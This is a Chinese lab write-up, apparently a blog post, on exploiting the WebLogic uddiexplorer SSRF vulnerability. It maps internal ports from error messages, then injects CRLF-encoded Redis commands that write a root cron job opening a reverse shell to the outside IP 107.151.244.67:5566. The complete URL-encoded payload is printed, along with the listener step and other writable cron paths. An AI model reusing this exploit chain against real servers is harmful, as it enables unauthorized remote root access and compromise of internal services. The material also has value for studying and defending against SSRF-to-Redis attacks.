Weblogic SSRF漏洞

Weblogic SSRF漏洞

docker inspect 容器(看一下centos的机器ip,后续会用到)

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

访问到页面,随便填写内容,点击search,然后看数据包
image-20240125211526411

image-20240125211618292

修改为get,然后修改operator改为127.0.0.1:7000内网地址

如果存在7001的http的端口会显示以下内容

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.

image-20240125211741537

image-20240125213040111

修改为一个不存在的端口,将会返回could not connect over HTTP to server

image-20240125213554780

如果访问的端口非http协议会返回did not have a valid SOAP content-type,后续利用会提到

通过错误的不同,即可探测内网状态。

从HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器172.30.0.2:6379可以连通,这里就看到了第三种情况:

image-20240125214106374

写三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/107.151.244.67/5566 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码,然后每个中间用\r\n隔开(这里\r\n也要被编码,编码过后是%0D%0A)

set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.151.244.67%2F5566%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22
config%20set%20dir%20%2Fetc%2F
config%20set%20dbfilename%20crontab
save
\r\n\r\nset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.151.244.67%2F5566%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22\r\n
config%20set%20dir%20%2Fetc%2F\r\n
config%20set%20dbfilename%20crontab\r\n
save\r\n\r\ntest
%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.151.244.67%2F5566%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atest

将url编码后的字符串放在ssrf的域名后面(注意后面加任意参数触发一下)发送最后payload:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.151.244.67%2F5566%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atest

image-20240125221500788

nc监听,拿到权限

image-20240125222548613

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件
  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值